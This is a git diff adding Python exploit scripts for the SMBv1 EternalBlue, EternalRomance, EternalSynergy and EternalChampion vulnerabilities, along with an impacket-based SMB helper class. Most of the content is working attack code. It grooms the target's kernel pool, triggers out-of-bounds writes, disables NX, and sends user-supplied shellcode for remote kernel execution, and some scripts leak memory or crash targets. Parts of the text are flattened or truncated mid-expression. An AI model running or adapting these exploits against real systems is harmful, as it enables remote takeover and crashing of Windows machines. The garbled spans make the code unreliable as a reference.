transCommand['Parameters']['ParameterCount'] = len(param) + transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen + + if len(data) > 0: + pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 + transCommand['Data']['Pad2'] = '\xFF' * pad2Len + else: + transCommand['Data']['Pad2'] = '' + pad2Len = 0 + + transCommand['Parameters']['DataCount'] = firstDataFragmentSize + transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len + + transCommand['Data']['Trans_Parameters'] = param + transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] + pkt.addCommand(transCommand) + + conn.sendSMB(pkt) + conn.recvSMB() # must be success + + # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data + i = firstDataFragmentSize + while i < len(data): + # limit data to 4096 bytes per SMB message because this size can be used for all Windows version + sendSize = min(4096, len(data) - i) + if len(data) - i <= 4096: + if not sendLastChunk: + break + send_trans2_second(conn, tid, data[i:i+sendSize], i) + i += sendSize + + if sendLastChunk: + conn.recvSMB() + return i + + +# connect to target and send a large nbss size with data 0x80 bytes +# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target +# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten) +def createConnectionWithBigSMBFirst80(target): + # https://msdn.microsoft.com/en-us/library/cc246496.aspx + # Above link is about SMB2, but the important here is first 4 bytes. + # If using wireshark, you will see the StreamProtocolLength is NBSS length. + # The first 4 bytes is same for all SMB version. It is used for determine the SMB message length. + # + # After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message. + # srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message. + # Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too. + sk = socket.create_connection((target, 445)) + # For this exploit, use size is 0x11000 + pkt = '\x00' + '\x00' + pack('>H', 0xfff7) + # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer. + # Also this is invalid SMB2 message. + # I believe NSA exploit use SMB2 for hiding alert from IDS + #pkt += '\xfeSMB' # smb2 + # it can be anything even it is invalid + pkt += 'BAAD' # can be any + pkt += '\x00'*0x7c + sk.send(pkt) + return sk + + +def exploit(target, shellcode, numGroomConn): + # force using smb.SMB for SMB1 + conn = smb.SMB(target, target) + + # can use conn.login() for ntlmv2 + conn.login_standard('', '') + server_os = conn.get_server_os() + print('Target OS: '+server_os) + if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os)): + print('This exploit does not support this target') + sys.exit() + + + tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') + + # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. + # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment + progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False) + # we have to know what size of NtFeaList will be created when last fragment is sent + + # make sure server recv all payload before starting allocate big NonPaged + #sendEcho(conn, tid, 'a'*12) + + # create buffer size NTFEA_SIZE-0x1000 at server + # this buffer MUST NOT be big enough for overflown buffer + allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010) + + # groom nonpaged pool + # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one + srvnetConn = [] + for i in range(numGroomConn): + sk = createConnectionWithBigSMBFirst80(target) + srvnetConn.append(sk) + + # create buffer size NTFEA_SIZE at server + # this buffer will be replaced by overflown buffer + holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) + # disconnect allocConn to free buffer + # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer + allocConn.get_socket().close() + + # hope one of srvnetConn is next to holeConn + for i in range(5): + sk = createConnectionWithBigSMBFirst80(target) + srvnetConn.append(sk) + + # send echo again, all new 5 srvnet buffers should be created + #sendEcho(conn, tid, 'a'*12) + + # remove holeConn to create hole for fea buffer + holeConn.get_socket().close() + + # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header + send_trans2_second(conn, tid, feaList[progress:], progress) + recvPkt = conn.recvSMB() + retStatus = recvPkt.getNTStatus() + # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag + if retStatus == 0xc000000d: + print('good response status: INVALID_PARAMETER') + else: + print('bad response status: 0x{:08x}'.format(retStatus)) + + + # one of srvnetConn struct header should be modified + # a corrupted buffer will write recv data in designed memory address + for sk in srvnetConn: + sk.send(fake_recv_struct + shellcode) + + # execute shellcode by closing srvnet connection + for sk in srvnetConn: + sk.close() + + # nicely close connection (no need for exploit) + conn.disconnect_tree(tid) + conn.logoff() + conn.get_socket().close() + + +if len(sys.argv) < 3: + print("{} [numGroomConn]".format(sys.argv[0])) + sys.exit(1) + +TARGET=sys.argv[1] +numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) + +fp = open(sys.argv[2], 'rb') +sc = fp.read() +fp.close() + +print('shellcode size: {:d}'.format(len(sc))) +print('numGroomConn: {:d}'.format(numGroomConn)) + +exploit(TARGET, sc, numGroomConn) +print('done') diff --git a/eternalblue_exploit8.py b/eternalblue_exploit8.py new file mode 100644 index 0000000..0252599 --- /dev/null +++ b/eternalblue_exploit8.py @@ -0,0 +1,563 @@ +#!/usr/bin/python +from impacket import smb, ntlm +from struct import pack +import sys +import socket + +''' +EternalBlue exploit for Windows 8 and 2012 by sleepya +The exploit might FAIL and CRASH a target system (depended on what is overwritten) +The exploit support only x64 target + +Tested on: +- Windows 2012 R2 x64 +- Windows 8.1 x64 + + +Default Windows 8 and later installation without additional service info: +- anonymous is not allowed to access any share (including IPC$) + - More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows +- tcp port 445 is filtered by firewall + + +Reference: +- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ +- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit + + +Exploit info: +- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at + https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same +- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000). + On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP. +- The exploit is likely to crash a target when it failed +- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. +- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) +- See the code and comment for exploit detail. + + +Disable NX method: +- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference) +- The exploit is also the same but we need to trigger bug twice +- First trigger, set MDL.MappedSystemVa to target pte address + - Write '\x00' to disable the NX flag +- Second trigger, do the same as Windows 7 exploit +- From my test, if exploit disable NX successfully, I always get code execution +''' + +# if anonymous can access any share folder, 'IPC$' is always accessible. +# authenticated user is always able to access 'IPC$'. +# Windows 2012 does not allow anonymous to login if no share is accessible. +USERNAME='' +PASSWORD='' + +# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000 +NTFEA_SIZE = 0x9000 + +ntfea9000 = (pack('> 12) +fakeSrvNetBufferX64Nx = '\x00'*16 +fakeSrvNetBufferX64Nx += pack(' SrvNetCommonReceiveHandler() -> call fn_ptr +fake_recv_struct = ('\x00'*16)*5 +fake_recv_struct += pack('= 0xffff: + flags2 &= ~smb.SMB.FLAGS2_UNICODE + reqSize = size // 2 + else: + flags2 |= smb.SMB.FLAGS2_UNICODE + reqSize = size + conn.set_flags(flags2=flags2) + + pkt = smb.NewSMBPacket() + + sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) + sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() + + sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size + sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value + sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero + sessionSetup['Parameters']['SessionKey'] = 0 + sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session + sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS + + sessionSetup['Data'] = pack(' 0: + pad2Len = (4 - fixedOffset % 4) % 4 + transCommand['Data']['Pad2'] = '\xFF' * pad2Len + else: + transCommand['Data']['Pad2'] = '' + pad2Len = 0 + + transCommand['Parameters']['DataCount'] = len(data) + transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len + transCommand['Parameters']['DataDisplacement'] = displacement + + transCommand['Data']['Trans_Parameters'] = '' + transCommand['Data']['Trans_Data'] = data + pkt.addCommand(transCommand) + + conn.sendSMB(pkt) + + +def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): + pkt = smb.NewSMBPacket() + pkt['Tid'] = tid + + command = pack('65535 bytes to trigger the bug. + transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) + transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() + transCommand['Parameters']['MaxSetupCount'] = 1 + transCommand['Parameters']['MaxParameterCount'] = len(param) + transCommand['Parameters']['MaxDataCount'] = 0 + transCommand['Data'] = smb.SMBTransaction2_Data() + + transCommand['Parameters']['Setup'] = command + transCommand['Parameters']['TotalParameterCount'] = len(param) + transCommand['Parameters']['TotalDataCount'] = len(data) + + fixedOffset = 32+3+38 + len(command) + if len(param) > 0: + padLen = (4 - fixedOffset % 4 ) % 4 + padBytes = '\xFF' * padLen + transCommand['Data']['Pad1'] = padBytes + else: + transCommand['Data']['Pad1'] = '' + padLen = 0 + + transCommand['Parameters']['ParameterCount'] = len(param) + transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen + + if len(data) > 0: + pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 + transCommand['Data']['Pad2'] = '\xFF' * pad2Len + else: + transCommand['Data']['Pad2'] = '' + pad2Len = 0 + + transCommand['Parameters']['DataCount'] = firstDataFragmentSize + transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len + + transCommand['Data']['Trans_Parameters'] = param + transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] + pkt.addCommand(transCommand) + + conn.sendSMB(pkt) + recvPkt = conn.recvSMB() # must be success + if recvPkt.getNTStatus() == 0: + print('got good NT Trans response') + else: + print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus())) + sys.exit(1) + + # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data + i = firstDataFragmentSize + while i < len(data): + sendSize = min(4096, len(data) - i) + if len(data) - i <= 4096: + if not sendLastChunk: + break + send_trans2_second(conn, tid, data[i:i+sendSize], i) + i += sendSize + + if sendLastChunk: + conn.recvSMB() + return i + + +# connect to target and send a large nbss size with data 0x80 bytes +# this method is for allocating big nonpaged pool on target +def createConnectionWithBigSMBFirst80(target, for_nx=False): + sk = socket.create_connection((target, 445)) + pkt = '\x00' + '\x00' + pack('>H', 0x8100) + # There is no need to be SMB2 because we want the target free the corrupted buffer. + # Also this is invalid SMB2 message. + # I believe NSA exploit use SMB2 for hiding alert from IDS + #pkt += '\xfeSMB' # smb2 + # it can be anything even it is invalid + pkt += 'BAAD' # can be any + if for_nx: + # MUST set no delay because 1 byte MUST be sent immediately + sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + pkt += '\x00'*0x7b # another byte will be sent later to disabling NX + else: + pkt += '\x00'*0x7c + sk.send(pkt) + return sk + + +def exploit(target, shellcode, numGroomConn): + # force using smb.SMB for SMB1 + conn = smb.SMB(target, target) + conn.login(USERNAME, PASSWORD) + server_os = conn.get_server_os() + print('Target OS: '+server_os) + if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")): + print('This exploit does not support this target') + sys.exit() + + tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') + + # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. + # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment + progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False) + + # Another TRANS2_OPEN2 (0) with special feaList for disabling NX + nxconn = smb.SMB(target, target) + nxconn.login(USERNAME, PASSWORD) + nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') + nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False) + + # create some big buffer at server + # this buffer MUST NOT be big enough for overflown buffer + allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010) + + # groom nonpaged pool + # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one + srvnetConn = [] + for i in range(numGroomConn): + sk = createConnectionWithBigSMBFirst80(target, for_nx=True) + srvnetConn.append(sk) + + # create buffer size NTFEA_SIZE at server + # this buffer will be replaced by overflown buffer + holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10) + # disconnect allocConn to free buffer + # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer + allocConn.get_socket().close() + + # hope one of srvnetConn is next to holeConn + for i in range(5): + sk = createConnectionWithBigSMBFirst80(target, for_nx=True) + srvnetConn.append(sk) + + # remove holeConn to create hole for fea buffer + holeConn.get_socket().close() + + # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header + # first trigger, overwrite srvnet buffer struct for disabling NX + send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress) + recvPkt = nxconn.recvSMB() + retStatus = recvPkt.getNTStatus() + if retStatus == 0xc000000d: + print('good response status for nx: INVALID_PARAMETER') + else: + print('bad response status for nx: 0x{:08x}'.format(retStatus)) + + # one of srvnetConn struct header should be modified + # send '\x00' to disable nx + for sk in srvnetConn: + sk.send('\x00') + + # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header + # second trigger, place fake struct and shellcode + send_trans2_second(conn, tid, feaList[progress:], progress) + recvPkt = conn.recvSMB() + retStatus = recvPkt.getNTStatus() + if retStatus == 0xc000000d: + print('good response status: INVALID_PARAMETER') + else: + print('bad response status: 0x{:08x}'.format(retStatus)) + + # one of srvnetConn struct header should be modified + # a corrupted buffer will write recv data in designed memory address + for sk in srvnetConn: + sk.send(fake_recv_struct + shellcode) + + # execute shellcode + for sk in srvnetConn: + sk.close() + + # nicely close connection (no need for exploit) + nxconn.disconnect_tree(tid) + nxconn.logoff() + nxconn.get_socket().close() + conn.disconnect_tree(tid) + conn.logoff() + conn.get_socket().close() + + +if len(sys.argv) < 3: + print("{} [numGroomConn]".format(sys.argv[0])) + sys.exit(1) + +TARGET=sys.argv[1] +numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) + +fp = open(sys.argv[2], 'rb') +sc = fp.read() +fp.close() + +if len(sc) > 0xe80: + print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80)) + sys.exit() + +# Now, shellcode is known. create a feaList +feaList = createFeaList(len(sc)) + +print('shellcode size: {:d}'.format(len(sc))) +print('numGroomConn: {:d}'.format(numGroomConn)) + +exploit(TARGET, sc, numGroomConn) +print('done') diff --git a/eternalblue_poc.py b/eternalblue_poc.py new file mode 100644 index 0000000..e4726c9 --- /dev/null +++ b/eternalblue_poc.py @@ -0,0 +1,45 @@ +from impacket import smb +from mysmb import MYSMB +from struct import pack +import sys + +''' +PoC: demonstrates how NSA eternalblue triggers the buffer overflow +''' + +USERNAME = '' +PASSWORD = '' + +if len(sys.argv) != 2: + print("{} ".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] + + +conn = MYSMB(target) +conn.login(USERNAME, PASSWORD) + +tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') +conn.set_default_tid(tid) + +# OOB write ~0x8c00 for BSOD +payload = pack(' ".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] +pipe_name = sys.argv[2] + +conn = MYSMB(target) + +conn.login(USERNAME, PASSWORD, maxBufferSize=512) + +tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') +conn.set_default_tid(tid) +fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK + +for i in range(10): + conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) + +mid_ntrename = conn.next_mid() +# create NT_TRANS_RENAME (5) request +req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] + + +conn = MYSMB(target) +conn.login(USERNAME, PASSWORD) + +# if share name is disk, the race is easier to win because there are more operation to do after InData is modified +tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') +conn.set_default_tid(tid) + + +def nsa_race(conn, jmp_addr): + setup = pack(' ".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] +pipe_name = sys.argv[2] + +# this one must do something to restore execution +# Note: when stagine shellcode is executed, CONNECTION+0x3d0 is at top of stack +staging_sc = '\xcc'*128 + +def login_put_staging_sc(conn, staging_sc, maxBufferSize): + _, flags2 = conn.get_flags() + + # FLAGS2_EXTENDED_SECURITY MUST not be set + flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY + + # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 + flags2 |= smb.SMB.FLAGS2_UNICODE + conn.set_flags(flags2=flags2) + + pkt = smb.NewSMBPacket() + + sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) + sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() + sessionSetup['Parameters']['MaxBufferSize'] = maxBufferSize + sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value + sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero + sessionSetup['Parameters']['SessionKey'] = 0 + sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session + # UnicodePasswordLen field is in Reserved for extended security format. + sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS + + # allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes) + # UNICODE.maxBufferSize: 0x15ff + # after maxBufferSize is padding which is '\x00'*4 + # so code is 'ff 15 00 00 00 00' => call [rip+0] + # after padding is pointer to allocated npp and shellcode there + sessionSetup['Data'] = pack('".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] +pipe_name = 'lsarpc' + + +conn = MYSMB(target) +conn.login(USERNAME, PASSWORD) + +smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True) +dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc() +dce.connect() + +conn.set_default_tid(conn.get_last_tid()) +fid = conn.get_last_fid() + +dce.bind(lsat.MSRPC_UUID_LSAT) + +# send LsarGetUserName without getting result so there are data in named pipe to peek +request = lsat.LsarGetUserName() +request['SystemName'] = "\x00" +request['UserName'] = "A"*263+'\x00' # this data size determines how many bytes of data we can leak +request['DomainName'] = ndr.NULL +dce.call(request.opnum, request) + + +# send TRANS_PEEK_NMPIPE (0x23) request with small OutData buffer to leak info +recvPkt = conn.send_trans(pack(' ".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] +pipe_name = sys.argv[2] + +conn = MYSMB(target) +conn.login(USERNAME, PASSWORD) + +tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') +conn.set_default_tid(tid) + +fid = conn.nt_create_andx(tid, pipe_name) + +# create incomplete transaction with mid is pipe fid +conn.send_nt_trans(0, mid=fid, totalDataCount=0x5400) + +# use SMB write to shift transaction.InData +conn.do_write_andx_raw_pipe(fid, 'A'*0x1000) + +# send secondary for OOB write +# after sending below secondary, a target should be crashed +conn.send_nt_trans_secondary(fid, data='Z'*0x1000, dataDisplacement=0x4000) + +conn.disconnect_tree(tid) +conn.logoff() +conn.get_socket().close() diff --git a/eternalromance_poc2.py b/eternalromance_poc2.py new file mode 100644 index 0000000..1b7fdc0 --- /dev/null +++ b/eternalromance_poc2.py @@ -0,0 +1,144 @@ +#!/usr/bin/python +from mysmb import MYSMB +from impacket import smb, smbconnection +from impacket.dcerpc.v5 import transport, lsat, ndr +from struct import pack, unpack +import sys + +''' +PoC: demonstrates how NSA eternalromance works against Windows 7 x64 (matched-pairs method). + +The PoC is written from capture network traffic against Windows 7 x64. +I do my best to make it the same as original NSA eternalromance. + +NSA eternalromance works against Windows<8 because information leak bug is fixed in Windows>=8. +NSA eternalsynergy changes information leak method to exploit Windows 8 and Windows 2012. +NSA eternalsynergy also do something to bypass NonpagedPoolNx. I do not check it. +''' + +USERNAME = '' +PASSWORD = '' + +if len(sys.argv) != 2: + print("{} ".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] +pipe_name = 'lsarpc' + + +conn = MYSMB(target) +conn.login(USERNAME, PASSWORD) + +smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True) +dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc() +dce.connect() + +conn.set_default_tid(conn.get_last_tid()) +fid = conn.get_last_fid() + +dce.bind(lsat.MSRPC_UUID_LSAT) + +# send LsarGetUserName without getting result so there are data in named pipe to peek +request = lsat.LsarGetUserName() +request['SystemName'] = "\x00" +request['UserName'] = "A"*263+'\x00' # this data size determines how many bytes of data we can leak +request['DomainName'] = ndr.NULL +dce.call(request.opnum, request) + +# ================================ +# first leak +# ================================ +print('Leaking to determine Architecture') +# send TRANS_PEEK_NMPIPE (0x23) request with small OutData buffer to leak info +recvPkt = conn.send_trans(pack(' romance ? + +# ================================ +# leak a transaction +# ================================ +print('Leaking a transaction') +# leak a bride transaction +conn.send_trans_secondary(mids[0], data='A') +leakData = conn.recv_transaction_data(mids[0], 520) + + +# NSA eternalromance parse leakData to get bride transaction (I skip this step) +# from leak transaction, we know +# - leak bride transaction address +# - CONNECTION address +# - next and previous transaction (flink and blink of LIST_ENTRY) +# - ... +# I do not know how NSA eternalromance use this leak info. I just look at pcap file. + + +# use SMB write to shift transaction.InData +conn.do_write_andx_raw_pipe(fid, 'A'*512, pid=pids[0]) + +print('Modify a bride transaction mid to 0') +# below is dangerous operation +# OOB write to modify next bride mid to 0 +conn.send_trans_secondary(fid, pid=pids[0], data='\x00\x00', dataDisplacement=0x5330) + +# test OOB write result by sending a secondary with mid=0 and bad data displacement +conn.send_trans_secondary(0, data='\x00', dataDisplacement=0xffff) +# if success, the target must reply an error +# if no reply, this means fail too +recvPkt = conn.recvSMB() +if recvPkt.getNTStatus() != 0: + print('Successfully took over a transaction') +else: + print('Fail to took over a transaction') + +print('''after successfully took over a transaction, NSA eternalromance +- modify bride transaction (mid=0) InData to get arbitrary write +- use arbitrary write to modify leak transaction to be peek named pipe command for arbitrary read''') + + +# receive result to clear name pipe data +dce.recv() + +dce.disconnect() +conn.logoff() +conn.get_socket().close() diff --git a/eternalsynergy_leak.py b/eternalsynergy_leak.py new file mode 100644 index 0000000..c8cfdc2 --- /dev/null +++ b/eternalsynergy_leak.py @@ -0,0 +1,60 @@ +#!/usr/bin/python +from impacket import smb +from mysmb import MYSMB +from struct import pack +import sys + +''' +PoC: demonstrates how NSA eternalsynergy leaks a transaction struct + +Note: +- this PoC only test against Windows 7 x64 +- all SMB request parameter is copied from capture network traffic +''' + +USERNAME = '' +PASSWORD = '' + +if len(sys.argv) != 3: + print("{} ".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] +pipe_name = sys.argv[2] + +conn = MYSMB(target) + +# our buffer size is 4356 bytes +# transaction with large reply will be splitted to multiple response +conn.login(USERNAME, PASSWORD, maxBufferSize=4356) + +tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') +conn.set_default_tid(tid) +fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK + +# normally, small transaction is allocated from lookaside which force all buffer size to 0x5000 +# the only method to get small buffer size is sending SMB_COM_TRANSACTION command with empty setup +for i in range(10): + conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) + +mid_ntrename = conn.next_mid() +# create NT_TRANS_RENAME (5) request +req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack(' ".format(sys.argv[0])) + sys.exit(1) + +target = sys.argv[1] +pipe_name = sys.argv[2] + +conn = MYSMB(target) + +conn.login(USERNAME, PASSWORD) + +tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') +conn.set_default_tid(tid) +fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK + +# create NT_TRANS_RENAME (5) request +mid = conn.next_mid() +conn.send_nt_trans(5, mid=mid, param=pack('H', len(req)) + req # assume length is <65536 + + def send_raw(self, data): + self.get_socket().send(data) + + def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False): + if maxSetupCount is None: + maxSetupCount = len(setup) + if totalParameterCount is None: + totalParameterCount = len(param) + if totalDataCount is None: + totalDataCount = len(data) + if maxParameterCount is None: + maxParameterCount = totalParameterCount + if maxDataCount is None: + maxDataCount = totalDataCount + transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION) + transCmd['Parameters'] = smb.SMBTransaction_Parameters() + transCmd['Parameters']['TotalParameterCount'] = totalParameterCount + transCmd['Parameters']['TotalDataCount'] = totalDataCount + transCmd['Parameters']['MaxParameterCount'] = maxParameterCount + transCmd['Parameters']['MaxDataCount'] = maxDataCount + transCmd['Parameters']['MaxSetupCount'] = maxSetupCount + transCmd['Parameters']['Flags'] = 0 + transCmd['Parameters']['Timeout'] = 0xffffffff + transCmd['Parameters']['ParameterCount'] = len(param) + transCmd['Parameters']['DataCount'] = len(data) + transCmd['Parameters']['Setup'] = setup + _put_trans_data(transCmd, param, data, noPad) + return self.create_smb_packet(transCmd, mid, pid) + + def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False): + self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad)) + return self.recvSMB() + + def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False): + transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY) + transCmd['Parameters'] = SMBTransactionSecondary_Parameters() + transCmd['Parameters']['TotalParameterCount'] = len(param) + transCmd['Parameters']['TotalDataCount'] = len(data) + transCmd['Parameters']['ParameterCount'] = len(param) + transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement + transCmd['Parameters']['DataCount'] = len(data) + transCmd['Parameters']['DataDisplacement'] = dataDisplacement + + _put_trans_data(transCmd, param, data, noPad) + return self.create_smb_packet(transCmd, mid, pid) + + def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False): + self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad)) + + def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False): + if maxSetupCount is None: + maxSetupCount = len(setup) + if totalParameterCount is None: + totalParameterCount = len(param) + if totalDataCount is None: + totalDataCount = len(data) + if maxParameterCount is None: + maxParameterCount = totalParameterCount + if maxDataCount is None: + maxDataCount = totalDataCount + transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2) + transCmd['Parameters'] = smb.SMBTransaction2_Parameters() + transCmd['Parameters']['TotalParameterCount'] = totalParameterCount + transCmd['Parameters']['TotalDataCount'] = totalDataCount + transCmd['Parameters']['MaxParameterCount'] = maxParameterCount + transCmd['Parameters']['MaxDataCount'] = maxDataCount + transCmd['Parameters']['MaxSetupCount'] = len(setup) + transCmd['Parameters']['Flags'] = 0 + transCmd['Parameters']['Timeout'] = 0xffffffff + transCmd['Parameters']['ParameterCount'] = len(param) + transCmd['Parameters']['DataCount'] = len(data) + transCmd['Parameters']['Setup'] = setup + _put_trans_data(transCmd, param, data, noPad) + return self.create_smb_packet(transCmd, mid, pid) + + def send_trans2(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False): + self.send_raw(self.create_trans2_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad)) + return self.recvSMB() + + def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False): + transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) + transCmd['Parameters'] = SMBTransaction2Secondary_Parameters() + transCmd['Parameters']['TotalParameterCount'] = len(param) + transCmd['Parameters']['TotalDataCount'] = len(data) + transCmd['Parameters']['ParameterCount'] = len(param) + transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement + transCmd['Parameters']['DataCount'] = len(data) + transCmd['Parameters']['DataDisplacement'] = dataDisplacement + + _put_trans_data(transCmd, param, data, noPad) + return self.create_smb_packet(transCmd, mid, pid) + + def send_trans2_secondary(self, mid, param='', 